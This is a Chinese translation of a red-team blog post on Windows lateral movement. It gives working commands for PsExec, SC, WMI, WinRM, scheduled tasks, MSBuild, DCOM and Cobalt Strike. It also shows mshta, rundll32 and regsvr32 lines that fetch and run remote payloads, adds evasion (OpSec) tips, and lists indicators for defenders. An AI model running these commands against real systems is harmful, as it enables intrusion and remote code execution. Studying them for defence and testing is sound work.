进攻横向移动 Offensive Lateral Movement

进攻横向移动 Offensive Lateral Movement

译文声明

本文是翻译文章
原文地址:https://hausec.com/2019/08/12/offensive-lateral-movement/


译文仅供参考,具体内容表达以及含义原文为准

​ 横向移动是从一个受感染主机迁移到另一宿主的过程。渗透测试人员和红队人员通常通过执行powershell.exe来在远程主机上运行base64编码的命令来完成此任务,这将返回信标。这样做的问题在于,进攻PowerShell不再是一个新概念,即使是中等成熟的商店也将在其上进行检测并迅速将其关闭,或者任何一半的像样的AV产品都会在执行恶意命令之前将其杀死。横向移动的困难在于它具有良好的操作安全性(OpSec),这意味着生成尽可能少的日志,或者生成看起来正常的日志,即隐藏在清晰的视野中以避免被发现。目的不仅是展示技术,但要显示幕后情况以及与之相关的任何指标。在本文中,我将引用一些Cobalt Strike语法,因为这是我们主要用于C2的语法,但是Cobalt Strike的内置横向移动技术是相当嘈杂,对OpSec不友好。另外,我了解到并不是每个人都用Cobalt Strike,因此在大多数示例中也引用了Meterpreter,但是这些技术是通用的。

这里有几种不同的横向移动技术,我将尝试从较高的角度介绍其方法及其工作原理,但是在介绍这些方法之前,我们先澄清一些术语

  • 命名管道Named Pipe::一种通过SMB(TCP 445)相互通信的方式。 在OSI模型的第5层上运行。 与端口可以侦听连接的方式类似,命名管道也可以侦听请求。

  • 访问令牌Access Token:根据Microsoft的文档:访问令牌是一个对象,用于描述进程或线程的安全上下文。 令牌中的信息包括与进程或线程关联的用户帐户的标识和特权。 当用户登录时,系统通过将其密码与安全数据库中存储的信息进行比较来验证该密码。 验证用户的凭据后,系统会生成访问令牌。 代表该用户执行的每个进程都有此访问令牌的副本。

    换句话说,它包含您的身份并说明您可以在系统上使用或不能使用的功能。 在不深入研究Windows身份验证的情况 下,访问令牌会参考登录会话,这是用户登录Windows时创建的登录会话。

  • 网络登录(类型3)Network Logon (Type 3): 当帐户对远程系统/服务进行身份验证时,将发生网络登录。在网络身份验证期间,可重用凭据不会发送到远程系统。因此,当用户通过网络登录登录到远程系统时,该用户的凭据将不会出现在远程系统上以执行进一步的身份验证。这带来了双跳问题,这意味着如果我们有一个单线通过网络登录连接到一个目标,然后又通过SMB到达,则不存在通过SMB登录的凭据,因此登录失败。示例在下面进一步显示。

PsExec

PsExec来自Microsoft的Sysinternals套件,允许用户使用命名管道通过端口445(SMB)在远程主机上执行Powershell。它首先通过SMB连接到目标上的ADMIN$共享,上传PSEXESVC.exe,然后使用服务控制管理器启动.exe,以在远程系统上创建命名管道,最后使用该管道进行I/O。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-RTZvAxF0-1573004655576)(/Users/0x516a/Library/Application Support/typora-user-images/image-20191104160428261.png)]

示例语法如下:

psexec \\test.domain -u Domain\User -p Password ipconfig

Cobalt Strike (CS) 处理方式略有不同
它首先创建一个Powershell脚本,该脚本将对内存中运行的嵌入式有效负载进行base64编码,并将其压缩为单行代码,连接到ADMIN$C$share并运行Powershell命令,如下所示

问题是它会创建服务并运行base64编码的命令,这是不正常的,并且会引发各种警报并生成日志。 另外,发送的命令是通过命名管道发送的,该管道在CS中具有默认名称(可以更改)。 Red Canary撰写了一篇有关检测它的出色文章。

Cobalt Strike具有两个PsExec内置程序,一个称为PsExec,另一个称为PsExec(psh)。 两者之间的区别,尽管CS文档有说明,PsExec(psh)仍在调用Powershell.exe,并且您的信标将作为Powershell.exe进程运行,而没有(psh)的PsExec将作为rundll32.exe运行。

进攻横向移动 Offensive Lateral Movement_第1张图片

通过Cobalt Strike 查看进程ID

默认情况下,PsExec将生成rundll32.exe进程以从中运行。 它不会将DLL拖放到磁盘或任何东西上,因此,从蓝队的角度来看,如果rundll32.exe在没有参数的情况下运行,则非常可疑。

SC

服务控制就是像听起来一样—控制服务,这对攻击者特别有用,因为可以通过SMB安排任务,因此启动远程服务的命令为

sc \\host.domain create ExampleService binpath= “c:\windows\system32\calc.exe”
sc \\host.domain start ExampleService

唯一需要注意的是,可执行文件必须特别是服务二进制文件。 服务二进制文件的不同之处在于它们必须“签入”服务控制管理器(SCM),如果没有,则将退出执行。 因此,如果为此使用非服务二进制文件,则它将作为代理/信标再次出现,然后死亡。

在CS中,您可以专门制作服务可执行文件:

进攻横向移动 Offensive Lateral Movement_第2张图片
通过Cobalt Strike生成服务可执行文件

WMI

Windows内置Windows Management Instrumentation(WMI),以允许通过WMI服务远程访问Windows组件。 通过使用端口135上的远程过程调用(RPC)进行通信以进行远程访问(以及以后的临时端口),它允许系统管理员远程执行自动化管理任务,例如 远程启动服务或执行命令。 它可以通过wmic.exe直接进行交互。 WMI查询示例如下所示:

wmic /node:target.domain /user:domain\user /password:password process call create "C:\Windows\System32\calc.exe”

Cobalt Strike利用WMI在目标上执行Powershell负载,因此使用内置WMI时PowerShell.exe将打开,这是OpSec问题,因为执行的是base64编码的负载。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-1MGZ3duI-1573004655581)(https://hausecurity.files.wordpress.com/2019/08/wmi-1.png?w=1100)]

进攻横向移动 Offensive Lateral Movement_第3张图片

我们看到即使通过WMI,尽管wmic.exe能够通过PowerShell在目标上运行命令,但仍会创建命名管道。那么为什么要首先创建一个命名管道呢? 命名管道对于执行有效负载不是必需的,但是有效负载CS会使用命名管道进行通信(通过SMB).
这只是触及WMI功能的表面。 我的同事@mattifestation 在Blackhat 2015期间就其功能进行了精彩的演讲,可在此处阅读。 [read here](https://www.blackhat.com/docs/us-15/materials/us-15-Graeber-Abusing-Windows-Management-Instrumentation-WMI-To-Build-A-Persistent Asynchronous-And-Fileless-Backdoor-wp.pdf)

WinRM

Windows远程管理允许管理服务器硬件,这也是Microsoft通过HTTP(S)使用WMI的方式。 与传统的网络流量不同,它不使用80/443,而是使用5985(HTTP)和5986(HTTPS) WinRM默认情况下随Windows一起安装,但需要进行一些设置才能使用。 这是服务器操作系统的例外,因为自2012R2及更高版本开始默认启用。 WinRM需要客户端上的侦听器(听起来熟悉吗?),即使启动了WinRM服务,也必须存在一个侦听器,以便其处理请求。 这可以通过Powershell中的命令完成,也可以通过WMI和Powershell远程完成:

Enable-PSRemoting -Force

从非CS的角度来看(用你的二进制文件替换calc.exe):

winrs -r:EXAMPLE.lab.local -u:DOMAIN\user -p:password calc.exe

执行通过 with CobaltStrike:

WinRM

当然,这样做的问题是必须使用PowerShell启动它。 如果您是远程用户,则需要通过DCOM或WMI完成。 虽然打开PowerShell并不奇怪,并且启动WinRM侦听器可能会在雷达下飞来飞去,但执行有效负载时会出现嘈杂的部分,因为运行Cobalt Strike内置的WinRM模块时会有一个指示器。

进攻横向移动 Offensive Lateral Movement_第4张图片

指标为:

"c:\windows\syswow64\windowspowershell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile

SchTasks

SchTasks是Scheduled Tasks(计划任务)的缩写,最初在端口135上进行操作,然后使用DCE / RPC进行通信,继续通过临时端口进行通信。 与在Linux中创建cron-job相似,你可以计划任务发生和执行任何你想要的。

From just PS:

schtasks /create /tn ExampleTask /tr c:\windows\system32\calc.exe /sc once /st 00:00 /S host.domain /RU System
schtasks /run /tn ExampleTask /S host.domain
schtasks /F /delete /tn ExampleTask /S host.domain

In CobaltStrike:

shell schtasks /create /tn ExampleTask /tr c:\windows\system32\calc.exe /sc once /st 00:00  /S host.domain /RU System
shell schtasks /run /tn ExampleTask /S host.domain

删除job (opsec!)

shell schtasks /F /delete /tn ExampleTask /S host.domain

MSBuild

虽然不是横向移动技术,但CaseySmith在2016年发现,MSBuild.exe可以与上述某些方法结合使用,以避免丢弃编码的Powershell命令或生成cmd.exe。 MSBuild.exe是Microsoft签名的可执行文件,与.NET Framework软件包一起安装。 MSBuild用于通过提供架构的XML文件来编译/构建C#应用程序。 从攻击者的角度来看,这用于编译C#代码以生成恶意的二进制文件或有效负载,甚至直接从XML文件运行有效负载。 MSBuild也可以通过SMB进行编译,如以下语法所示

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe \\host.domain\path\to\XMLfile.xml

*XML Template: https://gist.githubusercontent.com/ConsciousHacker/5fce0343f29085cd9fba466974e43f17/raw/df62c7256701d486fcd1e063487f24b599658a7b/shellcode.xml*

wmic /node:LABWIN10.lab.local /user:LAB\Administrator /password:Password! process call create "c:\windows\Microsoft.NET\Framework\v4.0.30319\Msbuild.exe \\LAB2012DC01.LAB.local\C$\Windows\Temp\build.xml"

由于double-hop问题,尝试使用wmic调用msbuild.exe通过SMB构建XML将会失败。 当发生网络登录(类型3)时,会出现双跳问题,这意味着凭据实际上从未发送到远程主机。 由于凭据没有发送到远程主机,因此远程主机无法向有效负载托管服务器进行身份验证。 在Cobalt Strike中,使用wmic时经常会遇到这种情况,解决方法是为该用户创建令牌,因此可以从该主机传递凭据。 但是,如果没有CS,则有一些解决方法:

  1. 在本地托管XML文件(放置到磁盘)
copy C:\Users\Administrator\Downloads\build.xml \\LABWIN10.lab.local\C$\Windows\Temp\
wmic /node:LABWIN10.lab.local /user:LAB\Administrator /password:Password! process call create "c:\windows\Microsoft.NET\Framework\v4.0.30319\Msbuild.exe C:\Windows\Temp\build.xml"
  1. 通过WebDAV托管XML(如下所示)
  2. 使用PsExec
psexec \\ host.domain -u Domain \ Tester -p Passw0rd c:\ windows \ Microsoft.NET \ Framework \ v4.0.30319 \ Msbuild.exe \\ host.domain \ C $ \ Windows \ Temp \ build.xml“

在Cobalt Strike中,有一个Aggressor Script扩展程序,该扩展程序使用MSBuild执行Powershell命令,而不会通过非托管进程(二进制直接编译成机器代码)而生成Powershell。这是通过WMI / wmic.exe上传的。

https://github.com/Mr-Un1k0d3r/PowerLessShell

MSBuild的关键指标是它正在SMB上执行,MSBuild正在建立出站连接。

MSBuildIOC.PNG

调用“ QueryNetworkOpenInformationFile”操作的MSBuild.exe,这是一个IOC

DCOM

组件对象模型(COM)是具有不同应用程序和语言的进程使用的一种协议,因此它们彼此通信。COM对象不能在引入了分布式COM(DCOM)协议的网络上使用。我出色的同事Matt Nelson 通过 Microsoft管理控制台(MMC)2.0脚本对象模型中的ExecuteShellCommand方法,通过DCOM发现了一种横向移动技术,该脚本模型用于系统管理服务器的管理功能。

可以通过以下方式调用

[System.Activator] :: CreateInstance([type] :: GetTypeFromProgID(“ MMC20.Application”,“ 192.168.10.30”))。Document.ActiveView.ExecuteShellCommand(“ C:\ Windows \ System32 \ Calc.exe”,“ 0“,” 0“,” 0“)

DCOM使用网络登录(类型3)因此在这里也会遇到double-hop问题 . PsExec解决了double-hop问题,因为凭据是通过命令传递的,并且可以生成交互式登录回话(类型2), 但是,问题在于 ExecuteShellCommand 方法只接收4个参数, 因此,如果传入少于或者大与4个则会出错, it errors out. Also, spaces have to be their own arguments (e.g. “cmd.exe”,$null,”/c” is three arguments), 这消除了将PsExec与DCOM一起使用来执行MSBuild的可能性。 从这里,有几个选项。

  1. 使用WebDAV

  2. 主机上不需要身份验证的SMB共享XML文件(例如,使用Impacket的SMBServer.py,但最有可能要求攻击者必须拥有自己的攻击机在网络上)

  3. 尝试其他类似的“ ExecuteShellCommand”方法

使用WebDAV,它仍然使用UNC路径,但是如果Windows无法通过445和139到达该路径,则Windows最终将退回到端口80。使用WebDAV,SSL也是一个选择。 唯一需要注意的是,WebDAV在服务器上不起作用,因为默认情况下该服务在服务器操作系统上不存在。

[System.Activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","192.168.10.30")).Document.ActiveView.ExecuteShellCommand("c:\windows\Microsoft.NET\Framework\v4.0.30319\Msbuild.exe",$null,"\\192.168.10.131\webdav\build.xml","7")

通过不需要任何身份验证即可访问WebDAV服务器(在本例中也是C2服务器),从而解决了double-hop问题。

如视频中所示,此方法的问题在于它产生了两个进程:mmc.exe,因为从MMC2.0和MSBuild.exe调用了DCOM方法。

另外,这确实会临时写入磁盘。Webdav writes to

C:\Windows\ServiceProfiles\LocalService\AppData\Local\Temp\TfsStore\Tfs_DAV

并且在执行后不清理任何文件.MSBuild临时写入

C:\Users\[USER]\AppData\Local\Temp\[RANDOM]\

并会自行清理。 使用此技巧的巧妙之处在于,由于MSBuild使用了Webdav,因此MSbuild会清理Webdav创建的文件。

本文还介绍了其他执行DCOM方法和防御建议。in this article.

Remote File Upload

不一定是横向移动技术,值得注意的是,您可以生成自己的二进制文件而不是使用Cobalt Strikes内置插件(可能更隐蔽)。 这是通过对目标C$共享拥有SMB的上传特权(即管理权限)来实现的,然后您可以将其无阶段的二进制文件上载到并通过wmic或DCOM执行,如下所示。

不使用CS

copy C:\Windows\Temp\Malice.exe \\target.domain\C$\Windows\Temp
wmic /node:target.domain /user:domain\user /password:password process call create "C:\Windows\Temp\Malice.exe”

其他代码执行选项

还有更多可能的代码执行选项,它们需要本地执行而不是远程执行,因此,像MSBuild一样,这些必须与横向移动技术配合使用。

Mshta

Mshta.exe是Windows上默认安装的可执行文件,它允许执行.hta文件。.hta文件是Microsoft HTML应用程序文件,允许在HTML应用程序中执行Visual Basic脚本。关于Mshta的好处是,它允许通过URL执行,并且由于它是受信任的Microsoft可执行文件,因此应绕过默认的应用白名单。

mshta.exe https://malicious.domain/runme.hta

Rundll32

这是众所周知的。Rundll32.exe再次是受信任的Windows二进制文件,用于执行DLL文件。可以通过UNC WebDAV路径甚至通过JavaScript指定DLL。

rundll32.exe javascript:"..\mshtml,RunHTMLApplication ";document.write();GetObject("script:https[:]//www[.]example[.]com/malicious.sct")"

由于它的运行DLL文件,你可以将其与其他一些配对以使用不同的技术:

  • URL.dll: Can run .url (shortcut) files; 也可以运行 .hta files

  • rundll32.exe url.dll,OpenURL "C:\Windows\Temp\test.hta"
    
  • ieframe.dll: Can run .url files

    [InternetShortcut]
    URL=file:///c:\windows\system32\cmd.exe
    
  • shdocvw.dll: Can run .url files as well

Regsvr32

注册服务器用于为注册表注册和注销DLL。Regsrv32.exe是经过签名的Microsoft二进制文件,可以接受URL作为参数。具体来说,它将运行一个.sct文件,该文件是一个XML文档,允许注册COM对象。

regsvr32 / s / n / u /i:http://server/file.sct scrobj.dll

阅读Casey Smith的文章以获得更深入的解释。

结论

同样,此列表**并不全面,**因为那里有更多的技术。这仅仅是我记录了一些我不知道的事情,并弄清楚了它们是如何工作的。在学习Cobalt Strike时,我了解到内置插件对OpSec不友好,这可能会导致操作员陷入困境,因此我认为我将尝试至少记录一些高级IOC。我鼓励大家查看MITER ATT&CK 知识库,以阅读有关横向运动和潜在IOC的更多信息。欢迎在Twitter上提问@ haus3c与我联系

你可能感兴趣的:(Red-team,内网渗透,APT)